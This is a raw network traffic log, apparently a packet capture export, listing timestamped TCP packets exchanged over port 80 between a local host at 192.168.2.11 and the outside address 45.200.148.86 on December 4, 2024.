Dec 4, 2024 15:12:15.160649061 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.161919117 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.162017107 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.162198067 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.163309097 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.163343906 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.163398027 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.164282084 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.164354086 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.164400101 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.165369034 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.165529966 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.165575027 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.166552067 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.218358040 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.228849888 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.229057074 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.229118109 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.229273081 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.229434967 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.229485989 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.230122089 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.230249882 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.230292082 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.231066942 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.231133938 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.231177092 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.231920004 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.231952906 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.232002974 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.232744932 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.232795954 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.232841969 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.233566999 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.233720064 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.233767033 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.234463930 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.234507084 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.234555960 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.235301971 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.235431910 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.235481024 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.236165047 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.236299038 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.236340046 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.237020016 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.237149954 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.237194061 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.237865925 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.238001108 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.238042116 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.238745928 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.238928080 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.238976002 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.239593029 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.239712954 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.239762068 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.240463972 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.240554094 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.240601063 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.241363049 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.241477966 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.241519928 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.242188931 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.242266893 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.242311954 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.243093014 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.243185997 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.243232012 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.243901968 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.244004965 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.244055033 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.244842052 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.244947910 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.244992971 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.245662928 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.245745897 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.245790005 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.246488094 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.246598005 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.246645927 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.247370958 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.247437954 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.247481108 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.248233080 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.248347044 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.248389006 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.249121904 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.249177933 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.249219894 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.249952078 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.250051975 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.250092983 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.250797987 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.250905991 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.250946999 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.251702070 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.251775026 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.251811028 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.252535105 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.252659082 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.252701044 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.253391027 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.253669977 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.253720999 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.254314899 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.254338026 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.254384995 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.255153894 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.255188942 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.255237103 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.255976915 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.256100893 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.256151915 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.256849051 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.256917000 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.256966114 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.257690907 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.257883072 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.257965088 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.258573055 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.258692980 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.258743048 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.259445906 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.259553909 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.259594917 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.260328054 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.260443926 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.260490894 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.261173964 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.261291027 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.261332035 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.262022972 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.262104988 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.262142897 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.264625072 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.343488932 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.343563080 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.343615055 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.343897104 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.344037056 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.344074011 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.344769001 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.344866991 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.344912052 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.345613956 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.345760107 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.345801115 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.346451044 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.346488953 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.346543074 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.347352982 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.347450972 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.347496033 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.348172903 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.348310947 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.348357916 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.349096060 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.349220037 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.349266052 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.349906921 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.349982023 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.350028038 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.350929022 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.350950003 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.351023912 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.351634026 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.351775885 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.351821899 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.352516890 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.352607012 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.352650881 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.353353024 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.353465080 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.353507996 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.354196072 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.405864000 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.421160936 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.421204090 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.421258926 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.421436071 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.421669006 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.421720028 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.422386885 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.422513962 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.422561884 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.423181057 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.423286915 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.423326015 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.424036980 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.424123049 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.424173117 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.424860954 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.425009966 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.425060034 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.425723076 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.425820112 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.425865889 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.426588058 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.426630020 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.426678896 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.427445889 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.427571058 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.427619934 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.428298950 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.428442955 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.428489923 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.429160118 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.429248095 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.429301023 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.430063009 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.430128098 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.430171967 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.430885077 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.430999994 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.431051970 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.431745052 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.431816101 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.431859970 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.432693005 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.432879925 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.432934999 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.433587074 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.433712006 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.433758974 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.434427023 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.434484959 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.434534073 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.435221910 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.435360909 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.435412884 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.436077118 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.436089039 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.436131001 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.436952114 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.437067032 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.437112093 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.437896967 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.437962055 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.438009977 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.438834906 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.438949108 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.438988924 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.439707994 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.439851999 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.439898014 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.440618992 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.440651894 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.440712929 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.441438913 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.441499949 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.441546917 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.442282915 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.442449093 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.442497969 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.443044901 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.443130016 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.443176985 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.443861961 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.443922043 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.443969011 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.444730043 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.444820881 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.444871902 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.445606947 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.445667028 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.445717096 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.446530104 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.446557045 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.446595907 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.447356939 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.447463989 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.447508097 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.448137045 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.448179960 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.448240995 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.449032068 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.449096918 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.449140072 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.449965954 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.450045109 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.450095892 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.450762033 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.450922012 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.450965881 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.451639891 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.451724052 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.451766014 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.452476978 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.452595949 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.452647924 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.453435898 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.453555107 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.453600883 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.454229116 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.454364061 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.454406977 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.458895922 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.535826921 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.535933018 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.535994053 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.536211014 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.536310911 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.536355972 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.536969900 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.537098885 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.537139893 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.537775993 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.537883997 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.537928104 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.538556099 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.538671017 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.538717031 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.539454937 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.539520025 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.539699078 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.540254116 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.540319920 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.540363073 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.541215897 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.541294098 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.541343927 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.542009115 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.542172909 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.542222023 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.542900085 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.542943001 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.542982101 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.543729067 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.543889999 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.543931961 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.544589043 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.544616938 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.544660091 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.545469046 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.545553923 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.546000004 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.546390057 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:15.593413115 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:15.613405943 CET	80	49717	45.200.148.86	192.168.2.11
